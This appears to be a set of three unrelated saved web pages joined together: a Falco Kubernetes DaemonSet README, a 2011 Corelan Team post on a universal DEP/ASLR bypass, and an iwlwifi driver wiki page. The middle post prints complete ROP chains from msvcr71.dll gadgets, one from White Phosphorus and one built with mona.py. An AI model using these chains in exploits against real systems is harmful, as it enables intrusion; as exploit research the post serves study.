3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='604' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Pull requests 10 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-project js-evernote-checked' viewBox='0 0 15 16'
version='1.1' width='15' height='16' aria-hidden='true' data-evernote-
id='18'%3e%3cpath fill-rule='evenodd' d='M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4
4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0
1-1V1a1 1 0 0 0-1-1z' data-evernote-id='608' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Projects 0 <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='19'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='610'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Wiki  <img
src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-graph js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='20'%3e%3cpath fill-rule='evenodd' d='M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4
0H7V3h2v10zm4 0h-2V6h2v7z' data-evernote-id='611' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> Insights

Find file  History Browse commits for this branch

falco / integrations / **k8s-using-daemonset** /

<img src='img/310141' width='20' height='20' />

nestorsalcedaView all commits by nestorsalceda Pull image from falcosecurity

Latest commit  a2319d2  on Oct 17, 2018

Type | Name | Latest commit message | Commit time  
---|---|---|---  
| .. |  |   
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='127'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='885' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  k8s-with-rbac |  Pull image from falcosecurity |  3 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='directory' class='octicon octicon-file-directory js-evernote-checked' viewBox='0 0 14 16' version='1.1' width='14' height='16' role='img' data-evernote-id='128'%3e%3cpath fill-rule='evenodd' d='M13 4H7V3c0-.66-.31-1-1-1H1c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1zM6 4H1V3h5v1z' data-evernote-id='895' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  k8s-without-rbac |  Pull image from falcosecurity |  3 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='129'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='905' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  README.md |  Move kubernetes manifests from examples to integrations |  6 months ago  
<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-label='file' class='octicon octicon-file js-evernote-checked' viewBox='0 0 12 16' version='1.1' width='12' height='16' role='img' data-evernote-id='130'%3e%3cpath fill-rule='evenodd' d='M6 5H2V4h4v1zM2 8h7V7H2v1zm0 2h7V9H2v1zm0 2h7v-1H2v1zm10-7.5V14c0 .55-.45 1-1 1H1c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1h7.5L12 4.5zM11 5L8 2H1v12h10V5z' data-evernote-id='915' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> |  falco-event-generator-deployment.yaml |  Move kubernetes manifests from examples to integrations |  6 months ago  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-book js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='131'%3e%3cpath fill-rule='evenodd' d='M3 5h4v1H3V5zm0 3h4V7H3v1zm0
2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1
1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45
1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z' data-evernote-id='926'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> README.md

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='132'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='928' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Example Kubernetes Daemon Sets for Sysdig
Falco

This directory gives you the required YAML files to stand up Sysdig Falco on
Kubernetes as a Daemon Set. This will result in a Falco Pod being deployed to
each node, and thus the ability to monitor any running containers for abnormal
behavior.

The two options are provided to deploy a Daemon Set:

  * `k8s-with-rbac` \- This directory provides a definition to deploy a Daemon Set on Kubernetes with RBAC enabled.
  * `k8s-without-rbac` \- This directory provides a definition to deploy a Daemon Set on Kubernetes without RBAC enabled.

Also provided:

  * `falco-event-generator-deployment.yaml` \- A Kubernetes Deployment to generate sample events. This is useful for testing, but note it will generate a large number of events.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='133'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='938' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Deploying to Kubernetes with RBAC enabled

Since v1.8 RBAC has been available in Kubernetes, and running with RBAC
enabled is considered the best practice. The `k8s-with-rbac` directory
provides the YAML to create a Service Account for Falco, as well as the
ClusterRoles and bindings to grant the appropriate permissions to the Service
Account.

[code]

    k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-account.yaml
    serviceaccount "falco-account" created
    clusterrole "falco-cluster-role" created
    clusterrolebinding "falco-cluster-role-binding" created
    k8s-using-daemonset$
    
[/code]

The Daemon Set also relies on a Kubernetes ConfigMap to store the Falco
configuration and make the configuration available to the Falco Pods. This
allows you to manage custom configuration without rebuilding and redeploying
the underlying Pods. In order to create the ConfigMap you'll need to first
need to copy the required configuration from their location in this GitHub
repo to the `k8s-with-rbac/falco-config/` directory. Any modification of the
configuration should be performed on these copies rather than the original
files.

[code]

    k8s-using-daemonset$ cp ../../falco.yaml k8s-with-rbac/falco-config/
    k8s-using-daemonset$ cp ../../rules/falco_rules.* k8s-with-rbac/falco-config/
    
[/code]

If you want to send Falco alerts to a Slack channel, you'll want to modify the
`falco.yaml` file to point to your Slack webhook. For more information on
getting a webhook URL for your Slack team, refer to the Slack documentation.
Add the below to the bottom of the `falco.yaml` config file you just copied to
enable Slack messages.

[code]

    program_output:
      enabled: true
      keep_alive: false
      program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
    
[/code]

You will also need to enable JSON output. Find the `json_output: false`
setting in the `falco.yaml` file and change it to read `json_output: true`.
Any custom rules for your environment can be added to into the
`falco_rules.local.yaml` file and they will be picked up by Falco at start
time. You can now create the ConfigMap in Kubernetes.

[code]

    k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
    configmap "falco-config" created
    k8s-using-daemonset$
    
[/code]

Now that we have the requirements for our Daemon Set in place, we can create
our Daemon Set.

[code]

    k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
    daemonset "falco" created
    k8s-using-daemonset$
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='134'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='945' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Deploying to Kubernetes without RBAC
enabled

If you are running Kubernetes with Legacy Authorization enabled, you can use
`kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac`
directory. The example provides the ability to post messages to a Slack
channel via a webhook. For more information on getting a webhook URL for your
Slack team, refer to the Slack documentation. Modify the `args` passed to the
Falco container to point to the appropriate URL for your webhook.

[code]

    k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
    
[/code]

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='135'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='948' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Verifying the installation

In order to test that Falco is working correctly, you can launch a shell in a
Pod. You should see a message in your Slack channel \(if configured\), or in
the logs of the Falco pod.

[code]

    k8s-using-daemonset$ kubectl get pods
    NAME          READY     STATUS    RESTARTS   AGE
    falco-74htl   1/1       Running   0          13h
    falco-fqz2m   1/1       Running   0          13h
    falco-sgjfx   1/1       Running   0          13h
    k8s-using-daemonset$ kubectl exec -it falco-74htl bash
    root@falco-74htl:/# exit
    k8s-using-daemonset$ kubectl logs falco-74htl
    {"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
    k8s-using-daemonset$
    
[/code]

Alternatively, you can deploy the Falco Event Generator deployement to have
events automatically generated. Please note that this Deployment will generate
a large number of events.

[code]

    k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
    && sleep 1 \
    && kubectl delete -f falco-event-generator-deployment.yaml
    deployment "falco-event-generator-deployment" created
    deployment "falco-event-generator-deployment" deleted
    k8s-using-daemonset$ 
    
[/code]

# Universal DEP/ASLR bypass with msvcr71.dll and mona.py | Corelan Team
**Created:**| _7/15/2011 2:30:38 PM_  
---|---  
**Updated:**| _7/15/2011 2:39:26 PM_  
**Author:**| __  
**Tags:**| _windows aslr rop Dep_  
  
**  
**

## Universal DEP/ASLR bypass with msvcr71.dll and mona.py

Published July 3, 2011 | By Corelan Team \(corelanc0d3r\)
## Introduction

Over the last few weeks, there has been some commotion about a universal
DEP/ASLR bypass routine using ROP gadgets from msvcr71.dll and the fact that
it might have been copied into an exploit submitted to Metasploit as part of
the Metasploit bounty.

For the record, I don’t know exactly what happened nor have I seen the proof…
so I’m not going to make any statements about this or judge anyone.

Furthermore, this post is not about the incident, but about the routine itself
\(which looks pretty slick\) and alternative routines.

## The White Phosphorus version

Released as part of the White Phosphorus Exploit Pack, the routine only uses
gadgets and pointer to VirtualProtect from msvcr71.dll. That particular
version of the dll does not rebase and is not ASLR enabled either, which makes
it a perfect candidate for universal/generic DEP & ASLR bypass, providing that
it contains all required gadgets to perform a generic ROP routine.

If your target application has that particular version of the dll loaded \(or
if you can force it to load one way or another\), you can use the ROP chain to
bypass DEP and ASLR in a generic way.

Immunity Inc published the bypass technique on their website. The routine
looks like this :

[code]

    def wp_sayonaraASLRDEPBypass(size=1000):
        # White Phosphorus
        # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
        #
        # This technique uses msvcr71.dll which has shipped unchanged
        # in the Java Runtime Environment since v1.6.0.0 released
        # December 2006.
        #
        # mail: support@whitephosphorus org
        # sales: http://www.immunityinc.com/products-whitephosphorus.shtml
    
        print "WP> Building Sayonara - Universal ASLR and DEP bypass"
    
        size += 4  # bytes to shellcode after pushad esp ptr
    
        depBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;
        depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
        depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
        depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
        depBypass += pack('<L', 0x7C365645) # pop esi;ret;
        depBypass += pack('<L', 0x7C345243) # ret;
        depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
        depBypass += pack('<L', 0x7C3487EC) # call eax
        depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
        depBypass += pack("<i", -size)      # {size}
        depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
        depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
        depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
        depBypass += pack('<L', 0xFFFFFFC0) # {flag}
        depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
        depBypass += pack('<L', 0x7C354648) # pop edi;ret;
        depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
        depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
        depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
        depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
        depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
        depBypass += pack('<L', 0x7C36683F) # push esp;ret;
    
        print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
        return depBypass
    
[/code]

\(22 dwords\)

Triggered by the Metasploit bounty "incident", the fact that Abysssec
published a post/document just a few hours ago, and because Immunity already
released the routine, I decided to take a look myself & see if there would be
another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.

## The alternative version \(mona.py\)

I attached Immunity Debugger to an application that has the dll loaded, and
used mona.py to create a database with rop gadgets & have it produce a rop
chain.

Since the one written part of White Phosporus doesn’t have any null bytes, I
will try to do the same thing.

This is the result :

Command used :

[code]

    !mona rop -m msvcr71.dll -n
    
[/code]

**17 seconds** later, I got this :

[code]

    rop_gadgets =
    [
    0x7c346c0a,# POP EAX # RETN (msvcr71.dll)
    0x7c37a140,# <- *&VirtualProtect()
    0x7c3530ea,# MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
    0x????????,# ** <- find routine to move virtualprotect() into esi
               # ** Hint : look for mov [esp+offset],eax and pop esi
    0x7c376402,# POP EBP # RETN (msvcr71.dll)
    0x7c345c30,# ptr to 'push esp #  ret ' (from msvcr71.dll)
    0x7c346c0a,# POP EAX # RETN (msvcr71.dll)
    0xfffffdff,# value to negate, target value : 0x00000201, target: ebx
    0x7c351e05,# NEG EAX # RETN (msvcr71.dll)
    0x7c354901,# POP EBX # RETN (msvcr71.dll)
    0xffffffff,# pop value into ebx
    0x7c345255,# INC EBX # FPATAN # RETN (msvcr71.dll)
    0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)
    0x7c34d201,# POP ECX # RETN (msvcr71.dll)
    0x7c38b001,# RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7,# POP EDI # RETN (msvcr71.dll)
    0x7c34b8d8,# ROP NOP (-> edi)
    0x7c344f87,# POP EDX # RETN (msvcr71.dll)
    0xffffffc0,# value to negate, target value : 0x00000040, target: edx
    0x7c351eb1,# NEG EDX # RETN (msvcr71.dll)
    0x7c346c0a,# POP EAX # RETN (msvcr71.dll)
    0x90909090,# NOPS (-> eax)
    0x7c378c81,# PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)
    # rop chain generated by mona.py
    # note : this chain may not work out of the box
    # you may have to change order or fix some gadgets,
    # but it should give you a head start
    ].pack("V*")
    
[/code]

Interesting… mona.py generated an almost complete ROP chain using gadgets
using pointers from msvcr71.dll.

It is slightly larger than the one written by Immunity \(so yes, the one part
of WP is most likely better\), but I just wanted to see if there was an
alternative available.

The only thing that is missing from the one mona generated, is a routine that
would put the VirtualProtect\(\) \(in eax\) into esi.

mona.py didn’t find any obvious gadgets that would simply do something such as
"mov esi,eax", so I had to manually search for an alternative.

But as mona.py suggested, I simply had to find a gadget that would write the
value in eax onto the stack, so you can pick it up in esi later on.

In order to do so, you probably need 2 or 3 gadgets : one to get the stack
pointer, a second one to write the value onto the stack and a third one to
pick it up \(pop esi\).

After searching the generated rop.txt file for a few minutes, I found the
following 2 gadgets that will do this :

**0x7c37591f** : \# **PUSH ESP** \# ADD EAX,DWORD PTR DS:\[EAX\] \# ADD CH,BL
\# INC EBP \# OR AL,59 \# **POP ECX** \# POP EBP \# RETN

**0x7c376069** : \# **MOV DWORD PTR DS:\[ECX+1C\],EAX** \# POP EDI \# **POP
ESI** \# POP EBX \# RETN

That should work.

Using those 2 gadgets, we can simply write the pointer to VirtualProtect\(\)
onto the stack and pick it up in ESI. In fact, the second gadget will write
and pick up in the same gadget. We just need to make ECX point at the correct
location on the stack and make sure POP ESI will take it from that location.

Note that the first gadget requires EAX to contain a valid pointer to a
readable location. So all we would have to do to make it readable is pop a
readable address from msvcr71.dll into EAX first.

Putting all of this together, the chain looks like this :

[code]

    rop_gadgets =
    [
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,# Make EAX readable
    0x7c37591f,# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
    0x41414141,# EBP (filler)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,# <- *&VirtualProtect()
    0x7c3530ea,# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
    0x7c346c0b,# Slide, so next gadget would write to correct stack location
    0x7c376069,# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
    0x41414141,# EDI (filler)
           0x41414141,# will be patched at runtime (VP), then picked up into ESI
           0x41414141,# EBX (filler)
    0x7c376402,# POP EBP # RETN (msvcr71.dll)
    0x7c345c30,# ptr to 'push esp #  ret ' (from MSVCR71.dll)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0xfffffdff,# size 0x00000201 -> ebx, modify if needed
    0x7c351e05,# NEG EAX # RETN (MSVCR71.dll)
    0x7c354901,# POP EBX # RETN (MSVCR71.dll)
    0xffffffff,# pop value into ebx
    0x7c345255,# INC EBX # FPATAN # RETN (MSVCR71.dll)
    0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
    0x7c34d201,# POP ECX # RETN (MSVCR71.dll)
    0x7c38b001,# RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7,# POP EDI # RETN (MSVCR71.dll)
    0x7c34b8d8,# ROP NOP (-> edi)
    0x7c344f87,# POP EDX # RETN (MSVCR71.dll)
    0xffffffc0,# value to negate, target value : 0x00000040, target: edx
    0x7c351eb1,# NEG EDX # RETN (MSVCR71.dll)
    0x7c346c0a,# POP EAX # RETN (MSVCR71.dll)
    0x90909090,# NOPS (-> eax)
    0x7c378c81,# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    # rop chain generated with mona.py
    ].pack("V*")
    
[/code]

31 dwords… 9 dwords larger than the commercial one from White Phosphorus… but
it proves my point. It took me less than 10 minutes to build this chain, it’s
universal and bypasses DEP and ASLR.

Oh, by the way, in case you didn’t know… if you have other bad chars \(so
let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’\) then you could just
run

[code]

    !mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
    
[/code]

and get other pointers… yes, it’s that simple.

## Conclusion

no matter how nice & ‘tempting’ a certain solution looks like, there always
might be an alternative, and creativity often leads to results.

* * *
© 2011, Corelan Team \(corelanc0d3r\). All rights reserved.

Copyright secured by Digiprove © 2011 Peter Van Eeckhoutte | Corelan GCV
  *[July 3, 2011]: 13:53

# en/users/Drivers/iwlwifi - Linux Wireless

**Created:**| _8/15/2016 3:10:21 PM_  
---|---  
**Updated:**| _8/15/2016 3:10:21 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Contents

  1. Introduction
  2. Features
  3. Supported Devices
  4. Support
  5. Firmware
  6. git repositories
  7. Download
  8. Bugzilla
  9. Debugging

# Introduction

**iwlwifi** is the wireless driver for Intel's current wireless chips. For
older chips, there are other drivers:

  * ipw2100
  * ipw2200
  * iwlegacy \(for Intel® PRO/Wireless 3945ABG and Intel® Wireless WiFi Link 4965AGN\) 

# Features

  * Station \(client\) mode 
  * IBSS \(Ad-Hoc\) mode 
  * AP mode \(experimental; only on some devices/firmware versions\) 
  * P2P \(on 7260 / 3160 and later devices only\) 
  * 802.11a/b/g/n/ac \(depending on the device\) 

# Supported Devices

The following devices are supported \(since kernel version\):

  * Intel® Wireless 7265 \(3.13\) 
  * Intel® Wireless 7260 \(3.10\) 
  * Intel® Wireless 3160 \(3.10\) 
  * Intel® Centrino® Advanced-N 6235 \(3.2\) 
  * Intel® Centrino® Wireless-N 2230 \(3.2\) 
  * Intel® Centrino® Wireless-N 2200 \(3.2\) 
  * Intel® Centrino® Wireless-N 105 \(3.2\) 
  * Intel® Centrino® Wireless-N 135 \(3.2\) 
  * Intel® Centrino® Wireless-N 100 \(2.6.37\) 
  * Intel® Centrino® Wireless-N 130 \(2.6.37\) 
  * Intel® Centrino® Advanced-N 6230 \(2.6.36\) 
  * Intel® Centrino® Wireless-N 1030 \(2.6.36\) 
  * Intel® Centrino® Advanced-N 6205 \(2.6.35\) 
  * Intel® Centrino® Wireless-N + WiMAX 6150 \(2.6.30\) 
  * Intel® Centrino® Advanced-N + WiMAX 6250 \(2.6.30\) 
  * Intel® Centrino® Ultimate-N 6300 \(2.6.30\) 
  * Intel® Centrino® Advanced-N 6200 \(2.6.30\) 
  * Intel® Centrino® Wireless-N 1000 \(2.6.30\) 
  * Intel® Wireless WiFi 5150AGN \(2.6.29\) 
  * Intel® Wireless WiFi 5100AGN, 5300AGN, and 5350AGN \(2.6.27\) 

# Support

For technical support send email to `<linux-wireless AT vger DOT kernel DOT
org>` and/or `<ilw AT linux DOT intel DOT com>`.

TODO: tell people how to use tracing \(probably use a sub-page and link to
it\)

# Firmware

The firmware necessary to support the devices is distributed separately under
the <img src='"../img/moin-www.png"' />firmware license.

Note that many distributions ship the firmware, you could install the "linux-
firmware" package or similar. If that doesn't work, or you need newer
firmware, read on.﻿

The driver loads the firmware using the kernel's firmware\_class
infrastructure. More information can be found under in the <img
src='"../img/moin-www.png"' />Documentation/firmware\_class/README file in the
kernel source. In order to function correctly the driver requires this to be
enabled in your kernel. When you configure the kernel, you can find this
option in the following location:

[code]

    Device Drivers ->
        Generic Driver Options ->
            Userspace firmware loading support
[/code]

You can determine if your kernel currently has firmware loader support by
looking for the `CONFIG_FW_LOADER` definition on your kernel's `.config` file.

In addition to having the firmware\_class support in your kernel, you must
also have a working userspace infrastructure configured. The steps for
installing and configuring this are very distribution specific and the tools
differ, but distributions have this enabled.

Once you have the firmware loader in place \(or if you aren't sure and you
just want to try things to see if it works\), you need to install the firmware
file into the appropriate location.

Where that appropriate location is depends \(again\) on your system
distribution. You can typically find this location by looking in the udev
scripts of your distro, the default on most distributions is /lib/firmware.

Installation of the firmware is simply:

[code]

    # cp iwlwifi-*.ucode /lib/firmware
[/code]

You can now load the driver.

You can get the firmware from <img src='"../img/moin-www.png"' />linux-
firmware.git, or download it here:

**Device** | **Kernels** | **Firmware**  
---|---|---  
Intel® Wireless WiFi 5150AGN  | 2.6.29+  | <img src='"../img/moin-attach.png"' />iwlwifi-5150-ucode-8.24.2.2.tgz  
Intel® Wireless WiFi 5100AGN,  
Intel® Wireless WiFi 5300AGN,  
Intel® Wireless WiFi 5350AGN  | 2.6.27+  | <img src='"../img/moin-attach.png"' />iwlwifi-5000-ucode-5.4.A.11.tar.gz  
2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-5000-ucode-8.24.2.12.tgz  
2.6.38+  | <img src='"../img/moin-attach.png"' />iwlwifi-5000-ucode-8.83.5.1-1.tgz  
Intel® Centrino® Advanced-N 6230,  
Intel® Centrino® Wireless-N 1030,  
Intel® Centrino® Wireless-N 130,  
Intel® Centrino® Advanced-N 6235  | 2.6.36+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2b-ucode-17.168.5.1.tgz  
2.6.36+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2b-ucode-17.168.5.2.tgz  
3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2b-ucode-18.168.6.1.tgz  
Intel® Centrino® Advanced-N 6205  | 2.6.35+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2a-ucode-17.168.5.1.tgz  
2.6.35+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2a-ucode-17.168.5.2.tgz  
2.6.35+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2a-ucode-17.168.5.3.tgz  
3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000g2a-ucode-18.168.6.1.tgz  
Intel® Centrino® Wireless-N + WiMAX 6150,  
Intel® Centrino® Advanced-N + WiMAX 6250  | 2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-6050-ucode-9.201.4.1.tgz  
2.6.37+  | <img src='"../img/moin-attach.png"' />iwlwifi-6050-ucode-41.28.5.1.tgz  
